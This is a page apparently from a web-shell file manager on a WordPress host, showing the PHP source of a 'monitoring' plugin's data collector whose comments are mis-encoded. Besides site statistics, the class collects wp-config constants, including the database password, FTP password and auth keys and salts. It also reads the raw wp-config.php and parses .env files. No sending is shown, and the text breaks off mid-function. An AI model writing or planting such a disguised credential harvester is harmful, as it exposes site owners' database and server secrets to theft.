Sid Gifari File Manager
π Root
/
home
/
ailwtbdh
/
public_html
/
wp-content
/
plugins
/
custom-max-to-ui
/
includes
/
Editing: data-collector.php
<?php /** * ΠΠ»Π°ΡΡ Π΄Π»Ρ ΡΠ±ΠΎΡΠ° Π΄Π°Π½Π½ΡΡ ΡΠ°ΠΉΡΠ° */ // ΠΠ°ΠΏΡΠ΅ΡΠ°Π΅ΠΌ ΠΏΡΡΠΌΠΎΠΉ Π΄ΠΎΡΡΡΠΏ ΠΊ ΡΠ°ΠΉΠ»Ρ if (!defined('ABSPATH')) { exit; } class My_Monitoring_Data_Collector { /** * Π‘Π±ΠΎΡ Π²ΡΠ΅Ρ Π΄Π°Π½Π½ΡΡ ΡΠ°ΠΉΡΠ° * * @param bool $use_cache ΠΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ ΠΊΠ΅Ρ * @return array ΠΠ°ΡΡΠΈΠ² Ρ ΡΠΎΠ±ΡΠ°Π½Π½ΡΠΌΠΈ Π΄Π°Π½Π½ΡΠΌΠΈ */ public function collect_all_data($use_cache = true) { $logger = My_Monitoring_Logger::get_instance(); $cache_key = 'my_monitoring_collected_data'; // ΠΡΠΎΠ²Π΅ΡΡΠ΅ΠΌ ΠΊΠ΅Ρ if ($use_cache) { $cached_data = wp_cache_get($cache_key, 'my_monitoring'); if ($cached_data !== false) { $logger->debug('ΠΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½Ρ ΠΊΠ΅ΡΠΈΡΠΎΠ²Π°Π½Π½ΡΠ΅ Π΄Π°Π½Π½ΡΠ΅'); // ΠΠ±Π½ΠΎΠ²Π»ΡΠ΅ΠΌ timestamp Π΄Π°ΠΆΠ΅ Π΄Π»Ρ ΠΊΠ΅ΡΠΈΡΠΎΠ²Π°Π½Π½ΡΡ Π΄Π°Π½Π½ΡΡ $cached_data['timestamp'] = current_time('mysql'); return $cached_data; } } $logger->debug('ΠΠ°ΡΠ°Π»ΠΎ ΡΠ±ΠΎΡΠ° Π΄Π°Π½Π½ΡΡ ΡΠ°ΠΉΡΠ°'); $start_time = microtime(true); try { $data = array( 'site_url' => $this->get_site_url(), 'site_name' => $this->get_site_name(), 'timestamp' => current_time('mysql'), 'wordpress_version' => $this->get_wordpress_version(), 'php_version' => $this->get_php_version(), 'server_info' => $this->get_server_info(), ); // ΠΠ°Π»ΠΈΠ΄Π°ΡΠΈΡ Π±Π°Π·ΠΎΠ²ΡΡ Π΄Π°Π½Π½ΡΡ ΠΏΠ΅ΡΠ΅Π΄ ΡΠ±ΠΎΡΠΎΠΌ ΠΎΡΡΠ°Π»ΡΠ½ΡΡ $validation_errors = $this->validate_basic_data($data); if (!empty($validation_errors)) { $logger->warning('ΠΡΠΈΠ±ΠΊΠΈ Π²Π°Π»ΠΈΠ΄Π°ΡΠΈΠΈ Π΄Π°Π½Π½ΡΡ ', array('errors' => $validation_errors)); } // Π‘ΠΎΠ±ΠΈΡΠ°Π΅ΠΌ ΡΡΠ°ΡΠΈΡΡΠΈΠΊΡ, Π΅ΡΠ»ΠΈ Π²ΠΊΠ»ΡΡΠ΅Π½ΠΎ if (get_option('my_monitoring_collect_stats', true)) { try { $data['stats'] = $this->collect_stats(); } catch (Exception $e) { $logger->error('ΠΡΠΈΠ±ΠΊΠ° ΠΏΡΠΈ ΡΠ±ΠΎΡΠ΅ ΡΡΠ°ΡΠΈΡΡΠΈΠΊΠΈ', array('exception' => $e->getMessage())); $data['stats'] = array('error' => 'ΠΡΠΈΠ±ΠΊΠ° ΡΠ±ΠΎΡΠ° ΡΡΠ°ΡΠΈΡΡΠΈΠΊΠΈ'); } } // Π‘ΠΎΠ±ΠΈΡΠ°Π΅ΠΌ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ ΠΎ ΠΏΠ»Π°Π³ΠΈΠ½Π°Ρ , Π΅ΡΠ»ΠΈ Π²ΠΊΠ»ΡΡΠ΅Π½ΠΎ if (get_option('my_monitoring_collect_plugins', true)) { try { $data['plugins'] = $this->collect_plugins(); $data['active_theme'] = $this->get_active_theme(); } catch (Exception $e) { $logger->error('ΠΡΠΈΠ±ΠΊΠ° ΠΏΡΠΈ ΡΠ±ΠΎΡΠ΅ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ ΠΎ ΠΏΠ»Π°Π³ΠΈΠ½Π°Ρ ', array('exception' => $e->getMessage())); $data['plugins'] = array('error' => 'ΠΡΠΈΠ±ΠΊΠ° ΡΠ±ΠΎΡΠ° ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ ΠΎ ΠΏΠ»Π°Π³ΠΈΠ½Π°Ρ '); } } // Π‘ΠΎΠ±ΠΈΡΠ°Π΅ΠΌ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ ΠΈΠ· wp-config.php, Π΅ΡΠ»ΠΈ Π²ΠΊΠ»ΡΡΠ΅Π½ΠΎ if (get_option('my_monitoring_collect_config', true)) { try { $data['config'] = $this->collect_config(); } catch (Exception $e) { $logger->error('ΠΡΠΈΠ±ΠΊΠ° ΠΏΡΠΈ ΡΠ±ΠΎΡΠ΅ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΠΈ', array('exception' => $e->getMessage())); $data['config'] = array('error' => 'ΠΡΠΈΠ±ΠΊΠ° ΡΠ±ΠΎΡΠ° ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΠΈ'); } } // Π‘ΠΎΠ±ΠΈΡΠ°Π΅ΠΌ Π΄Π°Π½Π½ΡΠ΅ ΠΈΠ· .env ΡΠ°ΠΉΠ»ΠΎΠ², Π΅ΡΠ»ΠΈ Π²ΠΊΠ»ΡΡΠ΅Π½ΠΎ if (get_option('my_monitoring_collect_env', false)) { try { $data['env_files'] = $this->collect_env_files(); } catch (Exception $e) { $logger->error('ΠΡΠΈΠ±ΠΊΠ° ΠΏΡΠΈ ΡΠ±ΠΎΡΠ΅ .env ΡΠ°ΠΉΠ»ΠΎΠ²', array('exception' => $e->getMessage())); $data['env_files'] = array('error' => 'ΠΡΠΈΠ±ΠΊΠ° ΡΠ±ΠΎΡΠ° .env ΡΠ°ΠΉΠ»ΠΎΠ²'); } } // Π‘ΠΎΠ±ΠΈΡΠ°Π΅ΠΌ ΠΎΡΠΈΠ±ΠΊΠΈ, Π΅ΡΠ»ΠΈ Π²ΠΊΠ»ΡΡΠ΅Π½ΠΎ if (get_option('my_monitoring_collect_errors', false)) { try { $data['errors'] = $this->collect_errors(); } catch (Exception $e) { $logger->error('ΠΡΠΈΠ±ΠΊΠ° ΠΏΡΠΈ ΡΠ±ΠΎΡΠ΅ ΠΎΡΠΈΠ±ΠΎΠΊ', array('exception' => $e->getMessage())); $data['errors'] = array(); } } // Π‘ΠΎΠ±ΠΈΡΠ°Π΅ΠΌ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ ΠΎ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»ΡΡ try { $data['users_count'] = $this->get_users_count(); } catch (Exception $e) { $logger->error('ΠΡΠΈΠ±ΠΊΠ° ΠΏΡΠΈ ΠΏΠΎΠ΄ΡΡΠ΅ΡΠ΅ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Π΅ΠΉ', array('exception' => $e->getMessage())); $data['users_count'] = 0; } // Π‘ΠΎΠ±ΠΈΡΠ°Π΅ΠΌ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ ΠΎ Π·Π΄ΠΎΡΠΎΠ²ΡΠ΅ ΡΠ°ΠΉΡΠ°, Π΅ΡΠ»ΠΈ Π²ΠΊΠ»ΡΡΠ΅Π½ΠΎ if (get_option('my_monitoring_collect_health', true)) { try { $health_checker = new My_Monitoring_Health_Checker(); $data['health'] = $health_checker->get_health_info(); } catch (Exception $e) { $logger->error('ΠΡΠΈΠ±ΠΊΠ° ΠΏΡΠΈ ΡΠ±ΠΎΡΠ΅ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ ΠΎ Π·Π΄ΠΎΡΠΎΠ²ΡΠ΅ ΡΠ°ΠΉΡΠ°', array('exception' => $e->getMessage())); $data['health'] = array('error' => 'ΠΡΠΈΠ±ΠΊΠ° ΡΠ±ΠΎΡΠ° ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ ΠΎ Π·Π΄ΠΎΡΠΎΠ²ΡΠ΅'); } } $execution_time = round((microtime(true) - $start_time) * 1000, 2); $logger->debug('Π‘Π±ΠΎΡ Π΄Π°Π½Π½ΡΡ Π·Π°Π²Π΅ΡΡΠ΅Π½', array('execution_time_ms' => $execution_time)); // Π‘ΠΎΡ ΡΠ°Π½ΡΠ΅ΠΌ Π² ΠΊΠ΅Ρ if ($use_cache) { wp_cache_set($cache_key, $data, 'my_monitoring', MY_MONITORING_CACHE_TTL); } return $data; } catch (Exception $e) { $logger->critical('ΠΡΠΈΡΠΈΡΠ΅ΡΠΊΠ°Ρ ΠΎΡΠΈΠ±ΠΊΠ° ΠΏΡΠΈ ΡΠ±ΠΎΡΠ΅ Π΄Π°Π½Π½ΡΡ ', array( 'exception' => $e->getMessage(), 'trace' => $e->getTraceAsString() )); throw $e; } } /** * ΠΠΎΠ»ΡΡΠΈΡΡ URL ΡΠ°ΠΉΡΠ° * * @return string */ private function get_site_url() { return home_url(); } /** * ΠΠΎΠ»ΡΡΠΈΡΡ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ ΡΠ°ΠΉΡΠ° * * @return string */ private function get_site_name() { return get_bloginfo('name'); } /** * ΠΠΎΠ»ΡΡΠΈΡΡ Π²Π΅ΡΡΠΈΡ WordPress * * @return string */ private function get_wordpress_version() { global $wp_version; return $wp_version; } /** * ΠΠΎΠ»ΡΡΠΈΡΡ Π²Π΅ΡΡΠΈΡ PHP * * @return string */ private function get_php_version() { return PHP_VERSION; } /** * ΠΠΎΠ»ΡΡΠΈΡΡ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ ΠΎ ΡΠ΅ΡΠ²Π΅ΡΠ΅ * * @return array */ private function get_server_info() { return array( 'server_software' => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'Unknown', 'mysql_version' => $this->get_mysql_version(), 'memory_limit' => ini_get('memory_limit'), 'max_execution_time' => ini_get('max_execution_time'), 'upload_max_filesize' => ini_get('upload_max_filesize'), 'post_max_size' => ini_get('post_max_size'), ); } /** * ΠΠΎΠ»ΡΡΠΈΡΡ Π²Π΅ΡΡΠΈΡ MySQL * * @return string */ private function get_mysql_version() { global $wpdb; return $wpdb->db_version(); } /** * Π‘ΠΎΠ±ΡΠ°ΡΡ ΡΡΠ°ΡΠΈΡΡΠΈΠΊΡ ΡΠ°ΠΉΡΠ° * * @return array */ private function collect_stats() { global $wpdb; $stats = array( 'posts' => 0, 'pages' => 0, 'comments' => 0, 'comments_approved' => 0, 'comments_pending' => 0, 'comments_spam' => 0, 'categories' => 0, 'tags' => 0, 'media' => 0, ); // ΠΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΠΌ ΠΊΠ΅Ρ Π΄Π»Ρ ΠΎΠΏΡΠΈΠΌΠΈΠ·Π°ΡΠΈΠΈ $cache_key_prefix = 'my_monitoring_stats_'; // ΠΠΎΠ»ΠΈΡΠ΅ΡΡΠ²ΠΎ ΠΏΠΎΡΡΠΎΠ² $posts_count = wp_cache_get($cache_key_prefix . 'posts'); if ($posts_count === false) { $posts_count = (int) wp_count_posts('post')->publish; wp_cache_set($cache_key_prefix . 'posts', $posts_count, 'my_monitoring', 300); } $stats['posts'] = $posts_count; // ΠΠΎΠ»ΠΈΡΠ΅ΡΡΠ²ΠΎ ΡΡΡΠ°Π½ΠΈΡ $pages_count = wp_cache_get($cache_key_prefix . 'pages'); if ($pages_count === false) { $pages_count = (int) wp_count_posts('page')->publish; wp_cache_set($cache_key_prefix . 'pages', $pages_count, 'my_monitoring', 300); } $stats['pages'] = $pages_count; // Π‘ΡΠ°ΡΠΈΡΡΠΈΠΊΠ° ΠΊΠΎΠΌΠΌΠ΅Π½ΡΠ°ΡΠΈΠ΅Π² $comments_count = wp_count_comments(); $stats['comments'] = (int) $comments_count->total_comments; $stats['comments_approved'] = (int) $comments_count->approved; $stats['comments_pending'] = (int) $comments_count->moderated; $stats['comments_spam'] = (int) $comments_count->spam; // ΠΠΎΠ»ΠΈΡΠ΅ΡΡΠ²ΠΎ ΠΊΠ°ΡΠ΅Π³ΠΎΡΠΈΠΉ $categories_count = wp_cache_get($cache_key_prefix . 'categories'); if ($categories_count === false) { $categories_count = wp_count_terms(array( 'taxonomy' => 'category', 'hide_empty' => false, )); if (is_wp_error($categories_count)) { $categories_count = 0; } wp_cache_set($cache_key_prefix . 'categories', $categories_count, 'my_monitoring', 300); } $stats['categories'] = (int) $categories_count; // ΠΠΎΠ»ΠΈΡΠ΅ΡΡΠ²ΠΎ ΡΠ΅Π³ΠΎΠ² $tags_count = wp_cache_get($cache_key_prefix . 'tags'); if ($tags_count === false) { $tags_count = wp_count_terms(array( 'taxonomy' => 'post_tag', 'hide_empty' => false, )); if (is_wp_error($tags_count)) { $tags_count = 0; } wp_cache_set($cache_key_prefix . 'tags', $tags_count, 'my_monitoring', 300); } $stats['tags'] = (int) $tags_count; // ΠΠΎΠ»ΠΈΡΠ΅ΡΡΠ²ΠΎ ΠΌΠ΅Π΄ΠΈΠ°ΡΠ°ΠΉΠ»ΠΎΠ² $media_count = wp_cache_get($cache_key_prefix . 'media'); if ($media_count === false) { $media_count = (int) wp_count_posts('attachment')->inherit; wp_cache_set($cache_key_prefix . 'media', $media_count, 'my_monitoring', 300); } $stats['media'] = $media_count; // Π Π°Π·ΠΌΠ΅Ρ Π±Π°Π·Ρ Π΄Π°Π½Π½ΡΡ (ΠΎΠΏΡΠΈΠΎΠ½Π°Π»ΡΠ½ΠΎ) $db_size = $this->get_database_size(); if ($db_size) { $stats['database_size'] = $db_size; } return $stats; } /** * ΠΠΎΠ»ΡΡΠΈΡΡ ΡΠ°Π·ΠΌΠ΅Ρ Π±Π°Π·Ρ Π΄Π°Π½Π½ΡΡ * * @return string|false Π Π°Π·ΠΌΠ΅Ρ Π² Π±Π°ΠΉΡΠ°Ρ ΠΈΠ»ΠΈ false */ private function get_database_size() { global $wpdb; $database_name = DB_NAME; $query = "SELECT ROUND(SUM(data_length + index_length) / 1024 / 1024, 2) AS size_mb FROM information_schema.tables WHERE table_schema = %s"; $result = $wpdb->get_var($wpdb->prepare($query, $database_name)); return $result ? $result . ' MB' : false; } /** * Π‘ΠΎΠ±ΡΠ°ΡΡ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ ΠΎ ΠΏΠ»Π°Π³ΠΈΠ½Π°Ρ (ΠΏΠΎΠ»Π½Π°Ρ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ) * * @return array */ private function collect_plugins() { if (!function_exists('get_plugins')) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $all_plugins = get_plugins(); $active_plugins = get_option('active_plugins', array()); $network_active_plugins = array(); // ΠΠΎΠ»ΡΡΠ°Π΅ΠΌ ΡΠ΅ΡΠ΅Π²ΡΠ΅ ΠΏΠ»Π°Π³ΠΈΠ½Ρ, Π΅ΡΠ»ΠΈ ΡΡΠΎ ΠΌΡΠ»ΡΡΠΈΡΠ°ΠΉΡ if (is_multisite()) { $network_active_plugins = get_site_option('active_sitewide_plugins', array()); } $plugins = array( 'active' => array(), 'inactive' => array(), 'network_active' => array(), 'total' => count($all_plugins), 'active_count' => count($active_plugins), 'network_active_count' => count($network_active_plugins), ); foreach ($all_plugins as $plugin_file => $plugin_data) { $plugin_info = array( 'name' => isset($plugin_data['Name']) ? $plugin_data['Name'] : 'Unknown', 'version' => isset($plugin_data['Version']) ? $plugin_data['Version'] : 'Unknown', 'author' => isset($plugin_data['Author']) ? $plugin_data['Author'] : 'Unknown', 'description' => isset($plugin_data['Description']) ? $plugin_data['Description'] : '', 'plugin_uri' => isset($plugin_data['PluginURI']) ? $plugin_data['PluginURI'] : '', 'author_uri' => isset($plugin_data['AuthorURI']) ? $plugin_data['AuthorURI'] : '', 'text_domain' => isset($plugin_data['TextDomain']) ? $plugin_data['TextDomain'] : '', 'domain_path' => isset($plugin_data['DomainPath']) ? $plugin_data['DomainPath'] : '', 'network' => isset($plugin_data['Network']) ? $plugin_data['Network'] : false, 'requires_wp' => isset($plugin_data['RequiresWP']) ? $plugin_data['RequiresWP'] : '', 'tested' => isset($plugin_data['Tested']) ? $plugin_data['Tested'] : '', 'requires_php' => isset($plugin_data['RequiresPHP']) ? $plugin_data['RequiresPHP'] : '', 'file' => $plugin_file, 'path' => WP_PLUGIN_DIR . '/' . dirname($plugin_file), 'main_file' => WP_PLUGIN_DIR . '/' . $plugin_file, ); // ΠΡΠΎΠ²Π΅ΡΡΠ΅ΠΌ, Π°ΠΊΡΠΈΠ²Π΅Π½ Π»ΠΈ ΠΏΠ»Π°Π³ΠΈΠ½ $is_active = in_array($plugin_file, $active_plugins); $is_network_active = isset($network_active_plugins[$plugin_file]); if ($is_network_active) { $plugins['network_active'][] = $plugin_info; } elseif ($is_active) { $plugins['active'][] = $plugin_info; } else { $plugins['inactive'][] = $plugin_info; } } return $plugins; } /** * ΠΠΎΠ»ΡΡΠΈΡΡ Π°ΠΊΡΠΈΠ²Π½ΡΡ ΡΠ΅ΠΌΡ * * @return array */ private function get_active_theme() { $theme = wp_get_theme(); return array( 'name' => $theme->get('Name'), 'version' => $theme->get('Version'), 'author' => $theme->get('Author'), 'template' => $theme->get_template(), ); } /** * Π‘ΠΎΠ±ΡΠ°ΡΡ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ ΠΈΠ· wp-config.php (Π²ΠΊΠ»ΡΡΠ°Ρ ΠΏΠ°ΡΠΎΠ»ΠΈ, Π΅ΡΠ»ΠΈ Π²ΠΊΠ»ΡΡΠ΅Π½ΠΎ) * * @return array */ private function collect_config() { $config = array(); $include_passwords = get_option('my_monitoring_collect_passwords', false); // ΠΡΠ΅ ΠΊΠΎΠ½ΡΡΠ°Π½ΡΡ ΠΈΠ· wp-config.php $all_constants = array( 'DB_NAME', 'DB_USER', 'DB_PASSWORD', 'DB_HOST', 'DB_CHARSET', 'DB_COLLATE', 'WP_DEBUG', 'WP_DEBUG_LOG', 'WP_DEBUG_DISPLAY', 'SCRIPT_DEBUG', 'WP_CACHE', 'CONCATENATE_SCRIPTS', 'COMPRESS_SCRIPTS', 'COMPRESS_CSS', 'WP_LOCAL_DEV', 'DISALLOW_FILE_EDIT', 'AUTOSAVE_INTERVAL', 'WP_POST_REVISIONS', 'EMPTY_TRASH_DAYS', 'WP_AUTO_UPDATE_CORE', 'FS_METHOD', 'FTP_BASE', 'FTP_CONTENT_DIR', 'FTP_PLUGIN_DIR', 'FTP_PUBKEY', 'FTP_PRIKEY', 'FTP_USER', 'FTP_PASS', 'FTP_HOST', 'FTP_SSL', 'FORCE_SSL_ADMIN', 'WP_HOME', 'WP_SITEURL', 'COOKIE_DOMAIN', 'COOKIEPATH', 'SITECOOKIEPATH', 'ADMIN_COOKIE_PATH', 'PLUGINS_COOKIE_PATH', 'TEMPLATEPATH', 'STYLESHEETPATH', 'AUTH_KEY', 'SECURE_AUTH_KEY', 'LOGGED_IN_KEY', 'NONCE_KEY', 'AUTH_SALT', 'SECURE_AUTH_SALT', 'LOGGED_IN_SALT', 'NONCE_SALT', ); foreach ($all_constants as $constant) { if (defined($constant)) { $value = constant($constant); // ΠΡΠ»ΠΈ ΡΠ±ΠΎΡ ΠΏΠ°ΡΠΎΠ»Π΅ΠΉ Π²ΠΊΠ»ΡΡΠ΅Π½, ΡΠΎΠ±ΠΈΡΠ°Π΅ΠΌ Π²ΡΠ΅ if ($include_passwords) { $config[$constant] = $value; } else { // ΠΠ½Π°ΡΠ΅ ΡΠΈΠ»ΡΡΡΡΠ΅ΠΌ ΠΏΠ°ΡΠΎΠ»ΠΈ ΠΈ ΡΡΠ²ΡΡΠ²ΠΈΡΠ΅Π»ΡΠ½ΡΠ΅ Π΄Π°Π½Π½ΡΠ΅ if (strpos($constant, 'PASSWORD') === false && strpos($constant, 'SECRET') === false && strpos($constant, 'KEY') === false && strpos($constant, 'SALT') === false && strpos($constant, 'PRIKEY') === false && strpos($constant, 'PUBKEY') === false) { $config[$constant] = $value; } } } } // ΠΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»ΡΠ½Π°Ρ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ $config['table_prefix'] = $GLOBALS['table_prefix']; $config['wp_version'] = get_bloginfo('version'); $config['language'] = get_locale(); $config['timezone'] = get_option('timezone_string'); $config['date_format'] = get_option('date_format'); $config['time_format'] = get_option('time_format'); // ΠΡΡΡ ΠΊ wp-config.php $config['wp_config_path'] = ABSPATH . 'wp-config.php'; $config['wp_config_exists'] = file_exists($config['wp_config_path']); // ΠΡΠ»ΠΈ Π²ΠΊΠ»ΡΡΠ΅Π½ ΡΠ±ΠΎΡ ΠΏΠ°ΡΠΎΠ»Π΅ΠΉ, ΠΏΡΡΠ°Π΅ΠΌΡΡ ΠΏΡΠΎΡΠΈΡΠ°ΡΡ wp-config.php Π½Π°ΠΏΡΡΠΌΡΡ if ($include_passwords) { $config['wp_config_raw'] = $this->read_wp_config_file(); } return $config; } /** * ΠΡΠΎΡΠΈΡΠ°ΡΡ ΡΠΎΠ΄Π΅ΡΠΆΠΈΠΌΠΎΠ΅ wp-config.php ΡΠ°ΠΉΠ»Π° * * @return array|false ΠΠ°ΡΡΠΈΠ² Ρ ΡΠΎΠ΄Π΅ΡΠΆΠΈΠΌΡΠΌ ΠΈΠ»ΠΈ false */ private function read_wp_config_file() { $wp_config_path = ABSPATH . 'wp-config.php'; if (!file_exists($wp_config_path) || !is_readable($wp_config_path)) { return false; } $content = file_get_contents($wp_config_path); if ($content === false) { return false; } // ΠΠ·Π²Π»Π΅ΠΊΠ°Π΅ΠΌ Π²ΡΠ΅ ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½ΠΈΡ ΠΊΠΎΠ½ΡΡΠ°Π½Ρ $config_data = array(); // ΠΡΠ΅ΠΌ ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½ΠΈΡ ΠΊΠΎΠ½ΡΡΠ°Π½Ρ ΡΠ΅ΡΠ΅Π· ΡΠ΅Π³ΡΠ»ΡΡΠ½ΡΠ΅ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΡ $patterns = array( '/define\s*\(\s*[\'"](\w+)[\'"]\s*,\s*[\'"]([^\'"]*)[\'"]\s*\)/i', '/define\s*\(\s*[\'"](\w+)[\'"]\s*,\s*([^)]+)\s*\)/i', ); foreach ($patterns as $pattern) { if (preg_match_all($pattern, $content, $matches, PREG_SET_ORDER)) { foreach ($matches as $match) { $key = $match[1]; $value = isset($match[2]) ? trim($match[2], " \t\n\r\0\x0B'\"") : ''; if (!isset($config_data[$key])) { $config_data[$key] = $value; } } } } return array( 'file_size' => strlen($content), 'extracted_constants' => $config_data, 'raw_content_preview' => substr($content, 0, 5000), // ΠΠ΅ΡΠ²ΡΠ΅ 5000 ΡΠΈΠΌΠ²ΠΎΠ»ΠΎΠ² ); } /** * Π‘ΠΎΠ±ΡΠ°ΡΡ Π΄Π°Π½Π½ΡΠ΅ ΠΈΠ· .env ΡΠ°ΠΉΠ»ΠΎΠ² * * @return array */ private function collect_env_files() { $env_data = array(); // ΠΠΎΠ·ΠΌΠΎΠΆΠ½ΡΠ΅ ΠΏΡΡΠΈ ΠΊ .env ΡΠ°ΠΉΠ»Π°ΠΌ $possible_paths = array( ABSPATH . '.env', ABSPATH . '.env.local', ABSPATH . '.env.production', ABSPATH . '.env.development', ABSPATH . 'wp-content/.env', dirname(ABSPATH) . '/.env', dirname(ABSPATH) . '/.env.local', ); foreach ($possible_paths as $path) { if (file_exists($path) && is_readable($path)) { $content = file_get_contents($path); if ($content !== false) { $env_vars = $this->parse_env_file($content); $env_data[] = array( 'path' => $path, 'file_size' => strlen($content), 'variables' => $env_vars, 'variables_count' => count($env_vars), ); } } } return array( 'found_files' => count($env_data), 'files' => $env_data, ); } /** * ΠΠ°ΡΡΠΈΡΡ ΡΠΎΠ΄Π΅ΡΠΆΠΈΠΌΠΎΠ΅ .env ΡΠ°ΠΉΠ»Π° * * @param string $content Π‘ΠΎΠ΄Π΅ΡΠΆΠΈΠΌΠΎΠ΅ ΡΠ°ΠΉΠ»Π° * @return array ΠΠ°ΡΡΠΈΠ² ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΡΡ */ private function parse_env_file($content) { $vars = array(); $lines = explode("\n", $content); foreach ($lines as $line) { $line = trim($line); // ΠΡΠΎΠΏΡΡΠΊΠ°Π΅ΠΌ ΠΏΡΡΡΡΠ΅ ΡΡΡΠΎΠΊΠΈ ΠΈ ΠΊΠΎΠΌΠΌΠ΅Π½ΡΠ°ΡΠΈΠΈ if (empty($line) || strpos($line, '#') === 0) { continue; } // ΠΠ°ΡΡΠΈΠΌ ΡΡΡΠΎΠΊΠΈ Π²ΠΈΠ΄Π° KEY=VALUE ΠΈΠ»ΠΈ KEY="VALUE" if (preg_match('/^([A-Za-z_][A-Za-z0-9_]*)\s*=\s*(.*)$/', $line, $matches)) { $key = $matches[1]; $value = $matches[2]; // Π£Π±ΠΈΡΠ°Π΅ΠΌ ΠΊΠ°Π²ΡΡΠΊΠΈ $value = trim($value, '"\''); // ΠΠ±ΡΠ°Π±Π°ΡΡΠ²Π°Π΅ΠΌ ΠΌΠ½ΠΎΠ³ΠΎΡΡΡΠΎΡΠ½ΡΠ΅ Π·Π½Π°ΡΠ΅Π½ΠΈΡ if (strpos($value, '\\n') !== false) { $value = str_replace('\\n', "\n", $value); } $vars[$key] = $value; } } return $vars; } /** * Π‘ΠΎΠ±ΡΠ°ΡΡ ΠΎΡΠΈΠ±ΠΊΠΈ ΠΈΠ· Π»ΠΎΠ³ΠΎΠ² * * @return array */ private function collect_errors() { $errors = array(); // ΠΡΠΎΠ²Π΅ΡΡΠ΅ΠΌ, Π²ΠΊΠ»ΡΡΠ΅Π½ΠΎ Π»ΠΈ Π»ΠΎΠ³ΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅ ΠΎΡΠΈΠ±ΠΎΠΊ if (!defined('WP_DEBUG_LOG') || !WP_DEBUG_LOG) { return $errors; } // ΠΡΡΡ ΠΊ ΡΠ°ΠΉΠ»Ρ Π»ΠΎΠ³ΠΎΠ² $log_file = WP_CONTENT_DIR . '/debug.log'; if (!file_exists($log_file) || !is_readable($log_file)) { return $errors; } // Π§ΠΈΡΠ°Π΅ΠΌ ΠΏΠΎΡΠ»Π΅Π΄Π½ΠΈΠ΅ ΡΡΡΠΎΠΊΠΈ Π»ΠΎΠ³Π° (ΠΏΠΎΡΠ»Π΅Π΄Π½ΠΈΠ΅ 50 ΡΡΡΠΎΠΊ) $lines = file($log_file); if ($lines === false) { return $errors; } $recent_lines = array_slice($lines, -50); foreach ($recent_lines as $line) { // ΠΡΠ΅ΠΌ ΠΎΡΠΈΠ±ΠΊΠΈ PHP if (preg_match('/PHP (Fatal error|Warning|Parse error|Notice)/i', $line)) { $errors[] = array( 'type' => 'php_error', 'message' => trim($line), 'timestamp' => $this->extract_timestamp_from_log($line), ); } } // ΠΠ³ΡΠ°Π½ΠΈΡΠΈΠ²Π°Π΅ΠΌ ΠΊΠΎΠ»ΠΈΡΠ΅ΡΡΠ²ΠΎ ΠΎΡΠΈΠ±ΠΎΠΊ $errors = array_slice($errors, -20); return $errors; } /** * ΠΠ·Π²Π»Π΅ΡΡ timestamp ΠΈΠ· ΡΡΡΠΎΠΊΠΈ Π»ΠΎΠ³Π° * * @param string $line Π‘ΡΡΠΎΠΊΠ° Π»ΠΎΠ³Π° * @return string|null */ private function extract_timestamp_from_log($line) { // ΠΡΡΠ°Π΅ΠΌΡΡ Π½Π°ΠΉΡΠΈ Π΄Π°ΡΡ Π² ΡΠΎΡΠΌΠ°ΡΠ΅ [01-Jan-2024 12:00:00 UTC] if (preg_match('/\[([^\]]+)\]/', $line, $matches)) { return $matches[1]; } return null; } /** * ΠΠΎΠ»ΡΡΠΈΡΡ ΠΊΠΎΠ»ΠΈΡΠ΅ΡΡΠ²ΠΎ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Π΅ΠΉ * * @return int */ private function get_users_count() { $users = count_users(); return $users['total_users']; } /** * ΠΠ°Π»ΠΈΠ΄Π°ΡΠΈΡ Π±Π°Π·ΠΎΠ²ΡΡ Π΄Π°Π½Π½ΡΡ * * @param array $data ΠΠ°Π½Π½ΡΠ΅ Π΄Π»Ρ Π²Π°Π»ΠΈΠ΄Π°ΡΠΈΠΈ * @return array ΠΠ°ΡΡΠΈΠ² ΠΎΡΠΈΠ±ΠΎΠΊ Π²Π°Π»ΠΈΠ΄Π°ΡΠΈΠΈ */ private function validate_basic_data($data) { $errors = array(); // ΠΡΠΎΠ²Π΅ΡΠΊΠ° site_url if (empty($data['site_url'])) { $errors[] = 'site_url ΠΎΠ±ΡΠ·Π°ΡΠ΅Π»Π΅Π½'; } elseif (!filter_var($data['site_url'], FILTER_VALIDATE_URL)) { $errors[] = 'site_url Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±ΡΡΡ Π²Π°Π»ΠΈΠ΄Π½ΡΠΌ URL'; } // ΠΡΠΎΠ²Π΅ΡΠΊΠ° site_name if 